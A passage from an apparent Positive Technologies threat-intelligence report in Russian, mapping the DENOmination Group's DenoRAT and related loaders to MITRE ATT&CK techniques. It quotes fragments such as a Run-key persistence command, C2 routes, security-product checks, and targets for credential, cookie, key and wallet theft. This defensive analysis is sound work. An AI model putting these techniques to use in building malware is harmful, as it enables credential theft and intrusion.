DENOmination Group используют закодированное и защищенное содержимое. В MSI-ветке вредоносный файл помещен в защищенный паролем ZIP-архив, а содержимое JavaScript-компонента хранится внутри PowerShell-скрипта в Base64-кодированном виде. |
T1027.009 |
Obfuscated Files or Information: Embedded Payloads |
DENOmination Group встраивают компоненты следующего этапа в другие файлы. Например, DeltaScan извлекает MSI из ресурса .NET-сборки вызовом GetManifestResourceStream("Embedded.msi") |
T1140 |
Deobfuscate, Decode Files or Information |
DENOmination Group декодируют встроенное содержимое непосредственно во время выполнения. Например, Juliet_widget15.ps1 использует [Convert]::FromBase64String(...), после чего записывает декодированный JavaScript-код как %APPDATA%\Uniform_system17.js |
T1105 |
Ingress Tool Transfer |
DENOmination Group загружают дополнительные компоненты с C2-сервера: LNK получает /<BuildID>.ps1, DinDoor — основной агент через /event или /network, а DenoRAT — модули через /agent-modules/<n>.ts |
T1071.001 |
Application Layer Protocol: Web Protocols |
DENOmination Group используют HTTP и WebSocket для связи с C2-сервером. В исследованных компонентах встречаются маршруты /health, /event, /service, /network, /group, /agent-exec-logs и /browser-data |
T1547.001 |
Boot or Logon Autostart Execution: Registry Run Keys, Startup Folder |
DENOmination Group закрепляют загрузчик LNK-ветки через HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Значение <usernameHash> запускает conhost.exe --headless "<DenoPath>" -A "%APPDATA%\<usernameHash>.js" |
T1564.001 |
Hide Artifacts: Hidden Files and Directories |
DENOmination Group скрывают локальные компоненты на диске. Загрузчик вызывает attrib.exe +h для своей JavaScript-копии и дополнительно создает файл в %LOCALAPPDATA%\Microsoft\<usernameHash>.js |
T1082 |
System Information Discovery |
DENOmination Group собирают сведения о зараженной системе, включая имя компьютера, версию и сборку Windows, CPU, GPU, объем оперативной памяти и контекст привилегий |
T1033 |
System Owner/User Discovery |
DENOmination Group получают имя текущего пользователя. Загрузчик использует Deno.env.get("USERNAME") или Deno.env.get("USER"); эти данные также участвуют в формировании идентификаторов зараженного узла |
T1012 |
Query Registry |
DENOmination Group читают системный реестр Windows для получения MachineGuid. Значение извлекается из HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid через Deno FFI и функции RegOpenKeyExW и RegQueryValueExW |
T1106 |
Native API |
DENOmination Group используют Deno FFI для прямого обращения к Windows API. В исследованных компонентах загружаются функции из advapi32.dll, user32.dll, gdi32.dll, shcore.dll и wtsapi32.dll |
T1057 |
Process Discovery |
DENOmination Group получают список запущенных процессов. DenoRAT выполняет tasklist и анализирует полученный список для определения работающих браузеров и защитных решений |
T1518.001 |
Software Discovery: Security Software Discovery |
DENOmination Group обнаруживают работающие средства защиты. DenoRAT сопоставляет процессы с внутренней таблицей, включающей Microsoft Defender, MDE, Kaspersky, ESET, CrowdStrike, SentinelOne, Sophos, Dr.Web и другие AV- и EDR-продукты |
T1113 |
Screen Capture |
DENOmination Group получают снимки рабочего стола зараженной системы. DenoRAT использует Windows API через Deno FFI и библиотеки user32, gdi32 и shcore, после чего передает сформированный JPEG на C2-сервер |
T1053.005 |
Scheduled Task/Job: Scheduled Task |
DENOmination Group временно создают запланированную задачу для захвата экрана пользовательской сессии при работе агента в контексте SYSTEM. Используются задачи с именами вида OnyxScreenshot_<timestamp_uuid> |
T1083 |
File and Directory Discovery |
DENOmination Group исследуют файловую систему зараженного узла. DenoRAT предоставляет команды fs-list-drives и fs-list-dir, а также автоматически перебирает каталоги пользовательских и браузерных профилей |
T1005 |
Data from Local System |
DENOmination Group собирают данные из локальной системы, включая браузерные данные, SSH-ключи, базы KeePass, сертификаты, закрытые ключи, VPN-конфигурации, RDP-файлы и данные криптовалютных кошельков |
T1555.003 |
Credentials from Password Stores: Credentials from Web Browsers |
DENOmination Group извлекают сохраненные браузерами учетные данные. В m.js MSI-ветки реализован сбор сохраненных логинов и паролей из Chromium-совместимых браузеров |
T1539 |
Steal Web Session Cookie |
DENOmination Group собирают файлы cookie браузеров, которые могут содержать действующие данные пользовательских веб-сессий. Эта функциональность подтверждена в m.js MSI-ветки |
T1555.005 |
Credentials from Password Stores: Password Managers |
DENOmination Group собирают данные менеджеров паролей. m.js обрабатывает данные расширений Bitwarden, 1Password, LastPass, KeePassXC, Dashlane, NordPass, Keeper и других решений |
T1552.004 |
Unsecured Credentials: Private Keys |
DENOmination Group выполняют поиск закрытых ключей и сертификатов. Среди целевых файлов присутствуют id_rsa, id_ed25519, .pem, .ppk, .p12 и .pfx |
T1041 |
Exfiltration Over C2 Channel |
DENOmination Group передают собранные данные через инфраструктуру управления. Например, браузерные данные отправляются на POST /browser-data?filename=..., а результаты выполнения заданий возвращаются через C2-канал |
T1572 |
Protocol Tunneling |
DENOmination Group используют зараженный узел для перенаправления сетевого трафика. DenoRAT получает через WebSocket адрес и порт назначения, создает соединение Deno.connect({hostname, port, transport:"tcp"}) и ретранслирует TCP-трафик. |

Денис Казаков
Специалист группы киберразведки TI-департамента экспертного центра безопасности, Positive Technologies